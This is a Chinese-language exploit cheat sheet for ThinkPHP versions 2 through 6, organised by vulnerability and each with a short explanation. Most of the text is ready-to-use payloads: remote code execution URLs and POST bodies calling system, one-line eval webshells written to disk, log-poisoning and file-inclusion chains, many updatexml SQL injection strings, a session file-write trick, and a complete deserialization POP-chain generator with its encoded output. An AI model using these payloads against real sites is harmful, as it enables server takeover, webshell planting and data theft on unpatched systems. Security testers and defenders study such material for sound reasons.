thinkphp 2 系列
2.x 任意代码执行
影响版本
ThinkPHP 2.x
漏洞简介
ThinkPHP 2.x版本通过 preg_replace 的 e 模式匹配路由,从而导致用户的输入参数被插入到双引号中执行,造成任意代码执行漏洞。
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));
@e:可执行模式,此为PHP正则表达式解析中的专有参数,被例如preg_replace等函数所支持。
POC
http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}
一句话 webshell:
http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST['jkjk']))}
注意:preg_replace这个函数 5.2~5.6 都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e
修饰符了。
冷知识
ThinkPHP 3.0 版本因为Lite模式下没有修复该漏洞,所以也存在这个漏洞
thinkphp 3 系列
3.x assign 变量覆盖RCE
利用条件
•业务代码中的使用了assign 方法注册变量•assign()
函数的第一个参数可控•存在可包含的恶意日志文件
漏洞原理
业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。 例如:
$value = I("get.value");
$this->assign($value);
$this->display();
POC
(1)先写入恶意代码到日志中
/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>
注意:使用 BurpSuite 发包,避免被编码,从而导致无法包含解析
(2)包含并执行日志内的代码
/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_02.log
3.x show 函数命令执行
利用条件
有使用 show 函数来解析参数。
漏洞原理
show函数后面的函数调用中,show函数的内容(包括我们传递进去的内容)会变成一个缓存文件,而后面的fetch函数调用中会对该缓存文件进行文件包含,从而造成执行命令执行。
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执行</h2><p>注入点:'.$n.'</p>','utf-8');
}
}
POC
https://localhost/index.php/home/index/index?n=<?php system("whoami");?>
3.x 日志泄露
漏洞成因
thinkphp 3 在开启 debug 模式的情况下,会在 Runtime 目录下生成日志文件,日志文件名为日期,里面可能包含SQL语句等敏感信息。
日志路径
默认为:
/Application/Runtime/Logs/Home/16_09_09.log
少数情况下会为:
/App/Runtime/Logs/22_03_29.log
/Runtime/Logs/Home/16_09_09.log
利用URL
直接拼接就行,例如:
https://wwww.gotizz.com/Application/Runtime/Logs/Home/16_09_09.log
3.x 缓存漏洞
利用条件
•使用了 S()
参数作为缓存
漏洞代码
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$a=I('post.a3');
S('data',$a);
}
}
POC
a3=%0A%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%2f%2f
然后访问:
http://127.0.0.1/thinkphp-3.2.3/Application/runtime/Temp/8d777f385d3dfec8815d20f7496026dc.php
8d777f385d3dfec8815d20f7496026dc 是 S('data',$a) 中 data 的 MD5 值。
3.2.3 find/select/delete 注入
利用条件
•使用I()
函数传参•报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要
漏洞代码
public function index()
{
$id = I('id');
$res = M("user")->find($id);
//$res = M("user")->select($id);
//$res = M("user")->delete($id);
dump($res);
}
POC
•find/select注入
id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
•delete注入
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
3.2.3 exp 注入
利用条件
•通过原生全局数组传参,而不是I()
函数•where参数传递的是我们可控制的数组•报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要
漏洞代码
public function index()
{
$User = D('Users');
$map = array('username' => $_GET['username']);
$user = $User->where($map)->find();
var_dump($user);
}
POC
http://php.local/thinkphp3.2.3/index.php?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
3.2.3 update 注入
利用条件
•使用I()
函数来传参•调用 save 函数进行数据更新•报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要
漏洞代码
public function index()
{
$User = M("Users");
$user['id'] = I('id');
$data['password'] = I('password');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
POC
http://php.local/thinkphp3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
3.2.3 order 注入
利用条件
•order()方法参数可控•开启 debug 模式
漏洞代码
$name = I("name");
$order = I("order");
$res = M("user")->where(["name" => $name])->order($order)->find();
dump($res);
POC
?order[updatexml(1,concat(0x3a,user()),1)]
thinkphp 5 系列
debug 默认状态
从 5.0.10 开始,debug 默认为 false。但是 5.0.13 之前都存在无需开启 debug 的 RCE,5.0.13 开始,需要开启 debug 或者存在 captcha 路由才能成功 RCE。(只有安装了官方的 think-captcha 扩展,才会存在 captcha 路由)
5.0.0 - 5.1.30 远程代码执行(路由处理漏洞)
影响版本
ThinkPHP 5.0.0 < 5.0.23
ThinkPHP 5.1.0 < 5.1.31
漏洞简介
在该ThinkPHP版本中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
POC
http://192.168.8.63:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_arr
ay&vars[0]=system&vars[1][]=whoami
写入一句话webshell:
http://192.168.8.63:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e
URL编码的内容如下:
<?php eval($_POST[zcc]);?>
POC原理
调用控制器App类的invokefunction方法来调用 call_user_func_array 方法, call_user_func_array 函数接受两个参数,第一个 var[0] 为函数名,第二个 var[1] 为函数参数数组,上面的意思是通过 call_user_func_array 函数调用 system 函数执行 whoami 命令。
5.0.x 系列 payload
命令执行
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
其它
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
5.1.x 系列 payload
命令执行
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
写webshell
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>
//shell生成在runtime/temp/md5(template).php
5.0.0 ~ 5.0.23 远程代码执行(method处理漏洞)
影响版本
5.0.0 ~ 5.0.23
漏洞原理
Thinkphp 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
POC
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.8.63:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
除了上面这个之外,其实由 method 和 construct 导致的 RCE 在依然在不同版本和不同debug选项下存在。
5.0 .0 - 5.0.12 无需debug RCE
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写webshell
POST /
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.13 - 5.0.23 需要debug RCE
利用条件
•debug 为 True
POC
命令执行
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
写webshell
POST /
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.13 - 5.0.23 无需debug RCE
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.1.0 - 5.1.1 需要debug RCE
命令执行
POST ?s=index/index
_method=__construct&filter[]=system&method=GET&s=calc
写webshell
POST /
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
注意:要 php 5.6 + 才行,因为使用到了命名空间
5.1.0 - 5.1.1 无需debug RCE
命令执行
POST ?s=captcha/calc
_method=__construct&filter[]=system&s=calc&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&s=calc&method=get
5.1.0 - 5.1.23 SQL注入漏洞
利用条件
•开启 debug 模式•没有安全的过滤参数
影响版本
ThinkPHP < 5.1.23
漏洞代码
$data=array();
$data['id']=array('eq','test');
$order=input('get.order');
$m=db('user')->where($data)->order($order)->find();
漏洞原理
在ThinkPHP5.1.23之前的版本中存在SQL注入漏洞,该漏洞是由于程序在处理order by 后的参数时,未正确过滤处理数组的key值所造成。如果该参数用户可控,且当传递的数据为数组时,会导致漏洞的产生。
POC
http://127.0.0.1/tp5/public/index.php/index/index/hello?order[id`,%27aaa%27)|%20updatexml(1,concat(0x3a,user()),1)%23][]=
5.x 日志泄露
利用条件
•开启了 debug 模式
POC
https:/www.xxx.com/runtime/log/202209/02.log
thinkphp 6系列
6.0.x 任意文件写入
利用条件
/tp6/app/middleware.php 文件中有开启session初始化功能
影响版本
6.0.0<=thinphp<=6.0.1
漏洞原理
该系列版本在存储session时处理不当,导致可进行任意文件写入
漏洞代码
public function test1(){
$sid =$_POST['key'];
session('zeo',$sid);
return 666;
}
意思是获取一个key设置写入session中。
POC
POST /tp6/public/index.php/index/test1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/tp6/public/index.php/index/test1
Cookie: PHPSESSID=1234567890123456789012345678.php;
Upgrade-Insecure-Requests: 1
key=<?php%20phpinfo();?>
注意:session PHPSESSID= 后面要按照要求必须 32位 可以随便构造
然后加上sess前缀访问,
http://127.0.0.1/tp6/runtime/session/sess_1234567890123456789012345678.php
6.0.12 反序列化
利用条件
unserialize()
函数参数可控
影响版本
6.0.0-6.0.12
漏洞原理
该系列版本存在可利用的POP利用链。
漏洞代码
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController{
public function index(){
$data = $_POST['data'];
unserialize(base64_decode($data));
}
}
POC
<?php
namespace think {
abstract class Model {
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['whoami']];
$this->exists = true;
$this->table = $obj;
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
}
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}
将生成的代码传递去反序列化即可执行任意代码:
data=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D